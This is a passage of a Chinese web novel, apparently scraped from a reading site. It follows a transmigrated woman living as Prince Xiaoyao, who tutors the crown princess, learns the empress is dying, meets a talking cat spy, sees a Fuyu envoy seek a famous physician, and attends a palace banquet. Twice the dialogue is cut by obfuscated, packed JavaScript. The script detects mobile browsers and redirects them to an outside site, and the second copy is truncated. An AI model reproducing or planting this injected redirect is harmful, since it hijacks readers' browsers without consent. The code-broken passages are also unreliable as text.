“今天的课业我……本宫有些地方没有想通,想问问逍遥王殿下,殿下可以过来听我讲吗?”赵元放下笔道。 许弋一阵心虚,太女你读的古文比我多啊,你没听懂的地方我可能也不懂啊。 但她不好拂了太女的意思,还是站起来走到她身侧坐下了,“那臣就微微逾矩了。” “无妨的,逍遥王殿下。”太女冲她微微一笑,用小胖手拿起书册摇了摇到,“本宫近日都在学《左传》,今日正好学到《郑伯克段于鄢》。” “敢问太女殿下是哪里没听懂呢?”许弋耐心道。 幸好《郑伯克段于鄢》对于《左传》来说太重要了,她那点半吊子估计还能排上点用场。 太女翻到她苦思冥想的那一页。 “武姜生下了庄公和共叔段,但仅仅因为庄公出生时是脚先出来,武姜便给他取名为‘寐生’,很是厌恶他,而偏宠共叔段。” “可是逍遥王殿下,乳母曾经告诉我,我……本宫出生的时候,也是脚先出来的,阿娘不会也很厌恶我吧。” 小团子说着,眉头蹙起,嘴巴一扁,大眼睛里有水汽漫起。 许弋内心一阵怜爱,将小团子轻轻揽在了怀里,她拿起桌上圆圆的镇纸兽笔划了起来。 “胎儿在娘亲肚子里的时候,会有很多位置,有竖着躺的,横着躺的,还有斜着躺的。” “头朝下的呢就会出来的比较顺利,脚朝下的呢出来的就会难一些,当娘亲的也会多吃些苦。” 许弋放下镇纸兽,看着赵元认真道:“胎儿也不知道自己是怎么躺的,怎么从娘亲肚子里出来,也不是能它够决定的。” “武姜以此厌恶庄公,是她无德。皇姐……陛下对太女殿下有着深深的期待,怎么可能厌恶殿下呢?” 小团子点点头,眉头也舒展开来,继续开始发问,“荀夫子说,共叔段可以找到机会背叛庄公,都是庄公自己的不是。” “庄公明明是一国之主,却一味地去满足武姜的愿望,疏于对弟弟进行管教,这才引发了战乱,置百姓于水火之中。” “但逍遥王殿下,我想不明白,共叔段明明是庄公的弟弟,庄公对他也很是宠爱,那共叔段还有何不满足的,又为何还要吞没土地偷袭郑国呢?” 许弋的政治雷达破天荒地响了起来,赵芙不就是赵凝的亲妹妹,今日这位荀夫子是在叫太女提防她啊!这安的是什么心? 但她还是认真地开导起小团子来:“一个国家的帝王,对外可使万国来朝,对内可号令文武百官,百姓生活的好坏都依赖于她的决断。” “抛开政事不说,荆山之玉,昆仑之雪,不管再珍贵的宝物都会被送到她的面前,这样是不是看起来特别风光?” 小团子看着许弋,竟然摇了摇头,“风光都是给外人看的,我知道阿娘晚上经常睡不着觉的。” 许弋心中一亮,谢珉怀说的不错,这位太女确有仁君之相。 “要担任一个国家的帝王,是件很辛苦的事,在享受荣华富贵的同时还要承担起对百姓的责任。否则百姓不信任朝廷了,国家也将不复存在。” “共叔段只看到了帝位的奢华,确没有看到背后的责任。” “你看他在京邑起兵,京邑的百姓却背叛他重新投入了庄公的麾下,这就说明百姓选择了庄公。” “殿下现在知道,对于一个国家来说最重要的是什么了吧?” 小团子点点头,一副若有所思的模样。 “在听皇姨讲什么?听这么入迷,连阿娘来了都没有发现么?”赵凝此时换了身绯红的常服,端着宽大的袖子缓步走了过来。 她在朝堂之上的暴躁之气尽去,只剩下一阵柔和。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811835|146155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘亲!”小团子惊呼一声,飞扑着便跑了过去。 “好元儿!”赵凝一把将赵元抱了起来,亲昵地蹭着她的脸颊。 赵元像小鸽子般,咯咯咯地笑了起来。 “娘亲,元儿今日的功课都做完了,元儿可以去和云容姐姐摘桃花了吗?”赵元抬起她粉嘟嘟的小脸,望着赵凝道。 “好元儿,去吧,莫要疯过头了。”赵凝轻轻刮了刮她的鼻子。赵凝将赵元放在地上,便由着宫人领着她去了。 记录太女日常言行的礼官也随之退了出去。 赵元一走,许弋便心有戚戚地站了起来,不知道赵凝是什么时候来的,她刚刚的一番话又被她听去了多少,“皇姐,你信我吗?” 赵凝苦笑着走了过来,“芙儿,阿姐何时不信你了?” “早些年的时候,大臣们总是上书,要我把你封到外地去,但是阿姐只有你一个妹妹,我又怎么能舍得。” 赵凝说着竟握住许弋的手,拉着她又坐了下来,“有人说你行为恶劣,留在京中也是个祸害,越早打发越好。” “有人说你这是故意撒泼,以掩盖对皇位的野心,降低我的防备。” “但阿姐是看着你长大的,你从小就放荡不羁爱自由,这皇位,恐怕你是真的看不上。” “将你留在京师,束缚着你,是阿姐的不是。但阿姐可以相信的,就只有你了。芙儿,你会替我护好元儿,护好大昭的,对不对?” 赵凝说着,胸口起伏,情绪又激动起来。 许弋连忙轻抚她的背脊,帮助她平缓下来,“阿姐言重了,阿姐正是年富力强的时候,芙儿只愿常伴阿姐身侧,让阿姐可以开怀些,也就满足了。” “我的好芙儿。”赵凝说着,竟将许弋揽在了怀中。 此前是她误会芙儿了,知道芙儿私下去见谢珉怀的时候,她简直气得要吐血,背着她结党营私,是要篡她的位吗? 今日上了朝才知道,或许芙儿是替她求谢大人出使金国去了。 她的芙儿曾经是她的小辫子,一声声喊着阿姐,亦步亦趋地跟在她的身后,可恨那些王公大臣,生生逼得芙儿为了避嫌远离了她。 赵凝身上的檀香铺天盖地将许弋包裹住。被赵凝的情绪传染,许弋的内心也激荡起来,原来阿姐的拥抱是这样的感觉。 片刻后,赵凝的情绪平复下来,慢慢松开了许弋。 许弋看着赵凝如此,心中也摇摆不定起来,昭文帝并不是偏听偏信之人,但为何在两国对战的大事上会做出如此仓皇的决定呢? 她不由得说道,“阿姐,芙儿斗胆想问一问,北燕占着燕云十六州已经近百年了,皇姐为何如此心急,要趁此机会将十六州夺回来?” “芙儿啊。”赵凝再度握住许弋的手,苦涩道,“昨日太医告诉我,我已经时日无多了,朕想在离开前,留给元儿,留给你,一个完整的大昭。” “阿姐!怎会如此?”许弋不由得有些惊慌。 “我生完元儿后,便元气大伤了,这么多年都是靠着老山参吊过来的,向老天平白无故地讨了这么许多寿命,也算是我赚了。” “如今走到了头,我也没有什么好埋怨的。” 许弋深深叹了口气,生孩子本就是走鬼门关,更何况是在古代,一代女帝也免不了吃苦。 《最好命》说昭文帝喜奢华,好美色,纵享乐,身子这才每况愈下,原来背后的根源竟是在生孩子上。 赵凝继续说道,“我放不下的,唯有元儿,唯有大昭。” 许弋据理力争道,“可是阿姐,燕云十六州混居着北燕与大昭的子民,百姓若流离失所,又何谈国土的完整呢?” “芙儿,难道连你都不能理解阿姐的苦心吗?”赵凝甩开她的手道。 “阿姐,芙儿不是这个意思。”许弋辩解道。 “此事不必再说了,朕心意已定。”赵凝站起身来,走了下去。 “阿姐……”许弋再次唤她。 赵凝从殿中转过身来,“芙儿,王府那边我会派人去通知的,从今日起你便宿在宫中。” “元儿进学的时候你就陪在一边,若是再有夫子讲什么《郑伯克段于鄢》,你便将他逐出东宫。” 赵凝说完拂袖离去,徒留许弋一个人站在深宫之中。 天色已经全然暗了下来,黑色的影带着夜晚的潮气一同涌进殿里来,浸染着每一个角落,仿佛下一刻也要讲许弋吞噬。 一排宫人匆匆赶了进来,先后点燃了殿中的烛火。 “逍遥王殿下,晚膳已经在仙阙宫备好了。”一位侍女在许弋面前微微曲膝道。 “嗯,走吧。”许弋怅然道,赵凝是怕她动什么手脚阻碍她收复失地的大计吗?突然就不能回府了,也不知道樊不野和萧静之会不会担心。 11. 有狸花猫蹭她手心! 是夜,仙阙宫。 许弋满脑袋都是心事,在床上辗转反侧地,怎么也睡不着了。她如今困在宫里,暗影卫那边还有一堆事情没有安排,也不知道接下来该如何是好。 披上外袍,许弋从寝殿内推开房门走了出来。 打着瞌睡的侍女和太监听见动静,匆匆从一旁疾行过来,许弋挥了挥手,他们都退了下去。 深秋的夜晚更深露重,凉气吹得她一个激灵,头脑瞬间清醒不少。 一轮残月割开天幕,在地面上洒下些许清辉,即将耗尽力气的秋蝉有一声没一声地叫着,如泣如诉。 她靠着连廊上的柱子,在台阶上缓缓坐下来,来到大昭也有将近一周的时间了,她到底是以何种形态存在于这个世界里,是外来的灵魂?是堆砌的数据? 还是……这一切只是她临死前的一个梦? 许弋闭上眼睛,用右手的指甲狠狠掐了掐自己的掌心。 一、二、三,许弋带着忐忑的心情,在心里默数了三个数。疼痛清晰地从手心传来,再次睁开眼,眼前的景色依旧毫无变化。 诶,不是梦的话,她这样一个外来者,能否改变大昭的命运呢? 《最好命》里的故事是未完待续的,但所有人都知道,作为大昭原型的宋朝,是注定要灭亡的…… “喵呜~喵呜~” 正当许弋发愁时,一只胖乎乎的狸花猫探着脑袋,滴溜溜地转着眼睛,从连廊前的灌木丛中探出了头来。 好漂亮的小猫!许弋心中一赞。 只见那只小狸花伸出前爪,露出长长的背脊,伸了个懒腰。打完哈欠,它竖起尾巴便向着许弋吧嗒吧嗒跑了过来。 “你是哪位美人宫里的小猫咪呀。” 许弋看着身侧的小狸花,忍不住摸了摸它的脑袋,依稀记得赵凝宫中三千佳丽无数,许弋也没认识几位。 小狸花蹭了蹭许弋的手心,发出咕噜噜的声音,好像一台小小的发动机。 许弋忍不住笑起来,将小狸花搂在怀里,揉着她毛绒绒的肚皮,瞬间感觉内心所有的疲惫和猜疑都消失不见了。 小狸花瞪了瞪后腿,忍不住又“喵呜”了一声,“喵呜……好舒服啊……” 一个激灵,许弋把怀里的小猫抖了出去。 靠北啊!野猫成精了!《最好命》到底是什么游戏啊!怎么猫还会说人话了! “喵呜……”小狸花惊呼起来,一个侧翻稳稳地落在了地上。 它昂起头看着许弋:“赵芙!你发什么癫!你这是在要我的命!” “乌……乌纯声?” 许弋听着熟悉的声音,看着重新走回她脚边的小狸花,惊得脑子都要转不过来了。 乌纯声舔了舔爪子,忽闪着眼睛道,“深宫中有守护神兽镇守,我可是换了六个宿主,好不容易才溜进来的,你就这么对我!你的心也太狠了。” 许弋讪笑着重新坐了下来,原来暗影卫平常都是这样工作的,“我这不是……被你吓到了。” “拜托,殿下,你好歹也是和暗影之主签订契约的人,我还以为你第一眼就认出我了,叫我小猫咪都是故意逗我的,原来你没认出我来啊……” 许弋嘴角一抽,这是什么她不懂的play嘛? 不过……什么暗影之主?赵芙和他签订契约了吗?原来暗影卫是这样来的啊,这么重要的背景游戏怎么没有提? 许弋干笑两声挠了挠头,“还不是你选的小狸花太可爱了,我便没有多想。” 乌纯声的尾巴不自觉地摇摆起来,它眯了眯眼睛,尾巴又停止不动了,仿佛是被他强力控制住了似的。 “不过认真的,你深更半夜地到宫里来找我,是出了什么事了吗?”许弋看着乌纯声,忍着想揉它脑袋的冲动,正色道。 “潜伏扶余的昴宿君来报,扶余的皇太子原本只是受了轻微的刀伤,但半月前却伤口化脓,高烧发了退,退了发,怎么都不见好。” “一茬又一茬的名医被召进宫廷,皇太子却依旧毫无起色,朝野上下都忧心至极,年迈的国主更是心力交瘁。” “大昭京师有神医降世的传闻散开后,扶余王庭顿生希望,正派遣使者来我大昭。” “不过由于国主十分重视,礼仪手续,人员布置,行船线路这些加在一起,等到了陛下眼前,起码也要一月有余。” 许弋点点头,倒也来得及,“嗯,如今北燕和金国正在打仗,我大昭的使团去了那里,要见到他们的皇帝,估计也要耗费一段时日。” “不过殿下,我有一件事没想明白,扶余距我京师不远万里,殿下是如何知道他们的皇太子受了重伤的?”乌纯声抬起后腿,挠了挠耳朵道。 “扶余地处偏远,环境又很恶劣,药材向来非常稀缺,每年都有不少人因小伤小病丧命,对医道方面的研究也不及我大昭,他们大概非常缺乏大夫和伤药。” 她只记得高丽的使臣来宋朝求药,必定是朝中有权贵受了伤才会如此不远千里而来,倒不知道是皇太子,当真是瞎猫碰上死耗子了。 “这次也真是运气好,被你赶上了。”乌纯声歪了歪头。 许弋内心一虚,她可不能未卜先知,这不是占了穿越的便宜,“其实你来的刚刚好,我正发愁要怎么出宫去找你。” 乌纯声舒服地眯了眯眼睛问道:“是为了谢珉怀之事?” “你已经知道了?”许弋心中惊讶,暗影卫之间的消息是互通的吗? 她记得负责宫城密报的是斗宿、虚宿、危宿三君,还是……乌纯声特意查了她的消息? “我向千机阁递了密信,却久久等不到你的消息,跑到趟逍遥王府见你不在,这才摸到宫里来了,这朝堂上的事当然也都被我知晓了。” “嗯。”许弋应和一声,“谢珉怀将不日出使金国,但童贯也自请为副史。我怕童贯暗中动什么手脚,请务必派出暗影卫跟随谢珉怀北上,一路守护他的安全。” 乌纯声“喵呜”一声,每次派暗影卫外出都会耗损他巨大的魂力,逍遥王这个没有良心的女人,就知道拿他的苦力去给别的男人做嫁衣。 “我的好殿下,你且放八百个心吧。” “使团的名单已经下来了,谢珉怀选的头一个人便是新科武状元薛肇,此人素来有惩奸除恶的美名,很是值得信任。” “他的父亲薛政封武义大夫,曾任平海军指挥使,更是在军中历练过 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但他还是提醒道,“真相其实不难查,但是樊不野回朝后军中实力错综复杂,张延的旧部趁机复起,韩季的新军也势头猛烈,童贯虽借方同休的力,也只是表面把持,要把他们扶上原位也不容易的。” “那只能一步步慢慢来了。”许弋叹了口气道,樊家军已被打散编入各路军中,即使几位将领官复原职,他们手底下的兵也与从前大不相同。 “好。”乌纯声又伸了个懒腰,打了个大大的哈欠,宫中的守护神兽威压好重,他扛得有点累了。 提到樊不野后,许弋的心中惆怅微微泛起:“乌纯声,你既已去了王府,可曾看到樊不野和萧静之二人?他们当时在做什么?有担心我吗?” 乌纯声抖了抖胡子,心里莫名地有点酸酸的,名正言顺地站在逍遥王身侧是他可望而不可及的事。 “小黄门把你将在宫中暂住的消息传了回去,樊不野倒还好,自动接过了搜查刺客的任务。” “萧静之却是十分忧心,他正缠着小桑问你平日里吃穿用度的喜好,想找借口进宫来看你呢。” 许弋心中明了,宫城在樊不野眼中守卫森严,固若金汤,在萧静之眼中却是束缚他折辱他的不良之地,他自然担心自己多一些。 乌纯声从地上站起来:“殿下前番遇到刺客了为什么不说?怎么不叫暗影卫去查?” 许弋摇了摇头,“我大概知道是谁派的了,十有八九是童贯,而且禁卫军已经在查了。” 乌纯声梗直了脖子道:“我再派个暗影卫去助他们一臂之力。” 许弋看着他坚持的样子,回道:“好。” “那没有别的事,我就回去了,喵~”乌纯声又靠过来蹭了蹭许弋的衣角。 “好,路上小心。”许弋不舍地摸了摸乌纯声的脑袋,看着他化为月光下的一片暗影,游移着、游移着,消失在夜色中了。 深宫之中,秋色渐浓,冬日就这么无声无息地来了。许弋每日陪着太女听学、玩耍,倒也不觉疲累。 层层宫墙隔离了所有的喧嚣和动荡,许弋生出一股恍惚之感,仿若一辈子就这么老死在宫中也不是什么坏事。 只是,相继传来的边防的暗报、刺客的下落、谢珉怀的消息都在提醒着她,一切的安宁都只是假象。 12. 女帝急了 一个月后,朝会,恰逢皇帝赐衣,满朝文武都穿着崭新的锦袄齐齐站在朝堂上,但扶余使者的到来打破了粉饰已久的平静。 “扶余国主问大昭女帝万安。”使者呼里延以右手掩在左胸前弯腰行礼道。 “大昭女帝问扶余国主万安。”赵凝微微颔首道。 “尊贵的女帝,在大昭福泽的昭庇佑下,我扶余已安然度过了近百年,我们的子民都对此深感荣幸。” “大昭向来医道昌隆,药术卓绝,我扶余早已仰慕多时,更听闻有神医圣手李淳风,悬壶济世,妙手回春。” “现如今,我扶余的皇太子身染重病,危在旦夕,恳请陛下派出神医拯救皇太子的性命,拯救我扶余于水火之中。” 许弋心中有些奇怪,她传令时没有指名道姓是哪位神医,李淳风的名气如此之大么,演变的谣言竟自动将名号扣在了他的头上。 呼里延说罢,跪倒在地,“咚咚咚”地磕了三个响头。 “使者快快请起。”赵凝连忙命人将他扶了起来。 “皇太子病危,朕也十分心痛。只是这位李神医素来隐居于市井之中,一下子怕也是不好找……”赵凝说着,若有所思地看了许弋一眼。 “若是使者不嫌弃,何有光是朕最为珍爱的太医,数次将朕的性命从鬼门关抢回来,相信他也会竭尽全力拯救皇太子的性命。” 呼里延静默了片刻,没有答话。 “怎么,扶余的使者,你还有什么不满么?”赵凝冷着面色道。 “陛下,实不相瞒,皇太子得的是疫病。”呼里延颤抖着声音道。 皇太子染病,整个王廷都愁眉不展,国主更是一夜白发。正当此时,民间的传说恰如其分地流入了宫中,这提醒了他们,当年大昭有位神医名叫李淳风。 他话一出口,朝臣们心中齐齐抖了抖,若是扶余发了疫病,那这些远到而来的使者身上,会不会也不干净…… 他们抬起眼,揣测着女帝的神情,却见女帝面色沉痛,并不显得惊慌,便也只好按捺住向后退的腿脚,站在原地不动。 许弋心中疑惑,皇太子受得不是刀伤么?她一度以为他是伤口感染了,是扶余王廷特地传的假消息么?为何疫病这么大的事,暗影卫没有探出来? 呼里延说起了详细的情况。 “三月前,定安城突发疫情,十二道城门紧急封锁。当时民怨沸腾,皇太子体恤百姓,亲自前去视察安抚,谁料回宫后不久便病入膏肓。” “想来皇太子心中早有判断,返程路上便独自静坐在马车中,回宫后更是不允许任何人前去探视,目前仅有三位医官在旁照料。” 听到呼里延这么说,朝臣们的神情明显松快下来。 “臣知道,忠勇皇帝在位时,大昭也曾疫病肆虐,是李先生顶着风险深入疫区,挽救了许多百姓的性命。臣斗胆求李先生出山,救我扶余于水深火热之中。” 扶余使者再次叩首,露出他细长的脖颈,仿佛马上要被折断似的。 赵凝低头看着他,沉默不语。 使者伏在地面上,发着冷汗。 气氛一时有些僵持不下,就好像是一根紧绷的弓弦,已经被拉到了极致,只要操控者一松手,利箭就会飞射而出。 此时,许弋捏了捏拳,上前一步道,“启禀陛下,微臣不才,神医李淳风正在臣府邸上休憩,想必他定然也是愿意前往扶余治病救人的。” 她先前不知道李淳风的事迹,也不知道扶余的境况,这次是真巧了。 “好,那就有劳逍遥王殿下送李老先生出山了。”赵凝松口道。 她自己病体沉重,时日无多,对隔海相望的皇太子是感同身受的,只不过这使者非咬着李淳风不放,让她不高兴了。 “女帝皇恩浩荡,扶余永远铭记在心。”呼里延终于松了口气,抬头回答道。 即然允诺了人家的要求,所幸好事做到底。疫病已发,又岂能只救皇太子一人? 当下,赵凝便吩咐鸿胪寺少卿冯钰负责东渡事宜,还为扶余赐下日常药材、珍稀药植、医药典籍等诸多用度。 又特别命令翰林医官使罗公远组织大小医官十五名组成医使团,可谓事无大小,面面俱到。 诸事准备妥当后,赵凝看着感激涕零的呼里延,心中一转,问道,“朕听闻北燕与金国之间正在开战,使者可曾在路上瞧见两国之间的战况?” 呼里延拱手道,“微臣等从扶余瑶州出海,十日后由东海入渤海,正巧途径蓟州。” “当时隔着海岸遥遥望去,只见杀声震天,血肉横飞,双方之间的战事惨烈至极,简直闻所未闻。” “我们在开州登录补给,差点被金兵烧了船,想来是仁德的女帝在暗中庇佑我们,我们才能顺利地逃出生天。” 赵凝面色已白了三分,但她还是继续问道:“扶余向来与金国为邻,使者认为,金国皇帝品性如何?是否值得结交呢?” 呼里延又往地上磕了个头,“擅自议论他国的皇帝是非常不礼貌的行为,但女帝既然发问了,微臣自当知无不言。” “微臣以为,金国皇帝凶狠残暴,有虎狼之心,是非常危险的邻居。扶余若不是与金国之间隔着一道深入天堑,暗流密布的海峡,恐怕早已被金国吞并了。” 听完呼里延所言,赵凝突感胸中郁结,心脏突突地跳着,好似要爆裂开来,她连忙深吸一口气,努力冷静下来。 “多谢使者坦言相告,使者远道而来,大昭本应盛情招待,但念在皇太子病情危急,朕就不久留了。” “大昭救扶余于危难之中,扶余定将铭记于心。”呼里延又拜了三拜,这才退了出去。 使者一走,赵凝强撑着从凤位上站起,焦灼地踱起步来。 左相胡秉芮最会揣测帝心,他当即拱手道:“陛下不必过于挂怀,谢大人此去也只存了试探之意,我大昭与金国到底是否能合作,还尚未可知。” “倘若那阿骨打真的遣了使者前来,我们迂回着将他打发回去便是了。” 许弋捏紧了手中的朝笏,谢珉怀的消息每隔几日便回递到她的手中,满朝文武不知,但她许弋是知道的。 一入蓟州城,谢珉怀他们便被金兵囫囵围了起来。 童贯性格暴虐,跳起来就打破了一个金兵的脸,多亏谢珉怀拉住了他,又同金兵百般解释,这才让金兵将信将疑地将他们带往金国的首都会宁府去面见阿骨打。 说是带路,其实是押送,而且还是被编在俘获的队伍中,稍有不慎惹得金兵生疑便会被砍掉脑袋一命呜呼,其中凶险可想而知。 而渡过乌苏里江后,女真一族的神灵盘踞其上,日神、风神、雪神、苍狼、黑熊、白雕……各类自然神、动物神、祖先神不一而足,暗影卫再难前进一步了。 许弋每日都盼着谢珉怀的消息,盼得几乎心焦。 趁此机会,许弋上前一步道:“陛下,使团的消息已经断了半月有余,金国人如此嗜血,谢大人或已身在危难之中。微臣恳请陛下驻军登州,迎谢大人回朝。” 胡秉芮冷哼一声,“怎么,逍遥王只忧心谢大人吗?有我大昭枢密使童贯护卫在他的身侧,还有武艺高强的薛氏父子相助,他的安危还有什么好担心的呢?” 许弋心道他这是强词夺理,几个人的武功虽高,在成群结队的军队面前,又要如何抵挡呢?她还要再辩,却见赵凝白着一张脸向着百官看了过来。 只听赵凝中气不足道:“广通,你速速派人,不,你亲自去追谢珉怀的使团!与金国合作洽淡的事一律作罢!现在!立刻!马上!” “是!”枢密副使文广通领了命,甲胄轻响,当即向殿外奔出。 许弋心中总算松了口气。 “陛下! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿姐!这可万万使不得!”许弋紧紧握住了赵凝的手,她感觉赵凝是在托孤,“阿姐信我,阿姐一定能好起来,精神抖擞地参加郊天大礼的。” “好。”赵凝冲着许弋无力地笑了笑,“芙儿,你侍候我一夜也累了吧,快去歇一歇,宫中的暖炉会你好久没参加了吧?” “等你醒来时,茶酒烤肉,百戏乐团想必都已备好了,替我好好照看元儿,带着她看看热闹。” 许弋点点头,又不舍地看了赵凝两眼,这才退了下去。 她一走,赵凝便唤了女官上来,“萧侧君想进宫的折子递了几道了?” “回陛下,今日的还没上来,昨日的已是第三十二道了。”女官如实道。 “倒是个痴心的。”赵凝接着问道,“那逍遥王呢?最近可往王府传了什么消息回去?” “三日前,殿下传消息回去,托桑女官去大相国寺求了面镜子,别的再也没有了。”女官想了想道。 “镜子?”赵凝蹙了蹙眉,没懂赵芙找镜子做什么,疲惫感又涌上来,她吩咐道,“你且去回复萧静之昨日的折子,放他今日入宫来吧。” 萧静之在宫中受尽欺凌的事她不是不知道,但她向来是听之任之,这样在芙儿维护他的时候,他才能对她死心塌地。 果然他已对芙儿上了心,不然放这样一个人在身边,当真是养虎为患。 *** 逍遥王府,萧静之收到消息的时候,李淳风刚刚收拾好行囊,踏上了鸿胪寺少卿冯钰的马车。 车轮徐徐转动,李淳风掀开帘子,最后恋恋不舍地看了王府一眼,当年昭文帝即位后,便召他入宫担任太医院院长,他拒辞不受,就是希望留在殿下身边。 因为他知道,殿下是会拼了性命守护大昭的人,如今殿下命他出山,他却是不好违背了,希望耶鲁里不会太过侵蚀殿下吧。 13. 暖炉会 许弋睡到午后方才起来,一出仙阙宫,她便闻到了一股若有似无的草药味。 原来,扶余的使者走后,赵凝下令焚草燃香,祛邪除祟。 忠勇皇帝昭熙帝在位时,大昭疫情频发,整整三年才度过危机,现在的大昭再也经不起这样的折腾了。 宫城的角落里,枯竭的草药缓缓地燃烧着,淡淡的灰烟升腾起来,不多时便散到了空中。 许弋收了银色飞鸟,便看见一个糯米团子飞也似的向着自己扑了过来。 “姨姨!”赵元欢快地从宫道上直向着她跑来。 “诶!”许弋半蹲下来,一把将赵元抱在了怀中。 赵元搂住她的脖子咯咯咯地直笑:“娘亲说了,今天我可以不喊姨姨逍遥王殿下了!姨姨也不用喊我太女殿下了!” “好好好。”许弋轻笑着,一想到她和赵元两个人每天殿下长,殿下短地在礼官面前说话,也是十分做作好笑的事了。 百鸟鸣叫之声传来,有如鸾凤和鸣,小团子一声惊呼,从许弋怀里跳下来,拉着她的手道,“姨姨!姨姨!百戏要开演了!我们快些去吧!” “好。”许弋任由小团子暧乎乎的小手拉着她,穿梭在宫门之中。 越往宫城中心,浓烈的酒香混合着热闹的烟火气一道传来,覆盖住了草药的味道。 集英殿前所架的山楼上,“色长”依在栏杆之上,他两袖轻拂,高喝一声“绥御酒”,殿中的酒保听到后便耍个把式,将长流壶从背后翻过,为百官斟酒。 烫好的美酒从长长的出水口中射出,冲入瓷白色的杯盏中,宛如击打在宝玉之上,发出动听的声音。 牛肉、猪肉、羊肉等肉类在火炉的铁板上被炙烤着,孜然、葱花……等各类香料那么一撒,与肉类的油脂混合在一起,散发出令人垂涎欲滴的香味。 百官三五成群地围坐在火炉边,享用着美食,畅谈着天下大事,当真是好不热闹。 赵元拉着许弋,在殿中的空位上随意坐下来,有小黄门立刻端着烤肉盘子奔来,跪坐在火炉边为二人炙烤起来。 “哐”得一声,两个圆铜片那么一撞,“咚咚咚”,在山楼两旁杖鼓的吼叫声中,琵琶、箜篌、龙笛等乐器吱吱呀呀地唱了起来,色长嗓子一扯,摇身一变成为了报幕的司仪。 杂剧演员们身着紫、红、绿等各色宽衫,别着镀了金的腰带,随着节奏在手臂、大腿各处拍打起来,呼应着乐曲舞动,看的人眼花缭乱。 三盏御酒一过,在两个小黄门的搀扶下,赵凝走上了山楼内架在半空的廊道,她垂直眼,对着百官微微颔首,“今日暖炉,不谈政事,大家且吃好喝好,乐上一乐便也是了。” 文武百官三呼万岁,赵元伸展出手臂,对着赵凝奋力地挥着,生怕她的娘亲看不见她,许弋也抬头细看她皇姐的脸色,比半夜时稍稍好些。 赵凝笑着向二人会看过来,眉眼之间满是深情。 赵凝拂了拂袖,特意准备的双下驼峰角子成盘地被端了上来。 百戏正式开演,一波杂耍演员跑将上来,上竿跳绳、吞刀吐火、翻筋斗、叠罗汉……各类怪招,层出不穷。 杂耍过后是戏文,“三英战吕布”“李白长安游”“武松打老虎”等等,繁花似锦,精巧至极。 小团子看得眼睛放光,品得津津有味,许弋自顾自的倒了一碗酒喝起来,不愧是国人做的游戏,这春节联欢晚会似得氛围真是令人熟悉。 不过这乐曲做的倒是别有特色,汉乐中夹着胡音,是她没有听过的。 浑浑噩噩地闹了一个下午,天光将近,群臣们吃饱喝足,纷纷戴着簪花回府去了。小团子趴在许弋的肩膀上,眼皮也打起架来。 “闹累了,就睡吧。”许弋轻拍她的背脊,将她送回东宫。 回仙阙殿的路上,白日里的喧嚣尽去,昏黄的宫灯在地上拉出长长的影子,深色的夜带着寒气裹挟而来。 许弋突然打了个激灵,糟糕,把外袍盖在元儿身上,一道送入东宫去了。 正当她踌躇时,一件带着狐狸毛领的,暖融融的袍子便披在了她的肩膀上,替她挡住了风寒的侵蚀。 “萧静之!你怎么来了!”许弋一回头,便看到萧静之拢着袖子,含着笑,静静地站在她身后。 “陛下仁德,特许我今日来看你。”萧静之递了一个暖暖的手炉给许弋道,他的眼波在许弋脸上流转,似有万分深情蕴含其中。 “怎么现在才来,宫中下午可是热闹,你错过了不少好戏呢。”许弋遗憾道。 “殿下忘了么,我在宫中住了这么许多年,暖炉百戏的名录我可都能背下来了,今儿这第一出呀,必定是关公老爷提着青龙偃月刀去战吕布……” 萧静之学着戏班里的人,咿咿呀呀地唱将起来,做了个滑稽的模样。 许弋扑哧一声笑出来,没曾想萧静之还有这等本事。 一丝怜惜之情袭上了她的心头,深宫寂寞,他一个外来的质子又常受欺凌,逢年过节的戏曲,必定也是在偏远的地方缩着脑袋听的。 许弋不由得转移了话题:“不说这宫中的旧东西了,你呢?今日在府中是过得如何?可有饮烫酒?吃烤肉?” “都有都有,府里今日也热闹得紧。”萧静之心里暖烘烘的,许弋记挂着他,他很是高兴。 “樊将军倒是一早便跑去京郊大营了,估计是借此机会犒劳将士们。我这是才知道,小桑平日里看着文文静静的,顽皮起来也是疯的很。” 萧静之微微摇头,他偏爱清幽,今日府中也是闹得他头疼。 “哦?小桑也爱跟着胡闹吗?”许弋奇道。 “今日府里请的是杂剧班子,歌板色唱中腔,发诨子讲笑话,民乐团奏三台舞,最后一出演的是‘打球’。” “这台上刚打完球,小桑便带着府里的女官们在西元殿中打起了球来,禁卫军们都打她们不过呢。” “哈哈哈。”许弋笑起来,“好一个小桑,真是看不出来,看来以后尽可喊她和禁卫军一同办事。” 萧静之目光灼灼,看着许弋:“托殿下的福,我今日过得很快活,此刻见到殿下,更是什么遗憾也没有了。” 许弋心道这儿才哪儿到哪儿,等我出宫了带你去游山玩水,那才是神仙般的日子呢。 她刚要说话,一阵冷风袭来,“阿嚏”一声,她一个喷嚏打了出来。 萧静之向着许弋走进一步,伸手拢了拢她的衣襟,“我逃脱了这个牢笼,没想到殿下却被锁了进来,好似是殿下将我换了出去似的,我心里总是难安。” 许弋抬起头,清楚地在萧静之如星辰般闪烁的眼眸里看到了自己,她柔声道:“无妨的,阿姐又不会对我怎么样,我只是替阿姐照顾元儿罢了。” 萧静之心道女帝的心思深不可测,留逍遥王在宫中怎么可能仅仅是为了太女。前有金国狼子野心,后有朝堂争端不断,他心忧赵芙被迫卷紧越来越深的漩涡,此后怕是再难相见。 看着几乎无知无觉的许弋,萧静之眼神闪烁,“对了,我还来不及谢殿下。”说着,他从衣襟中摸出一面半个手掌大小的铜镜。 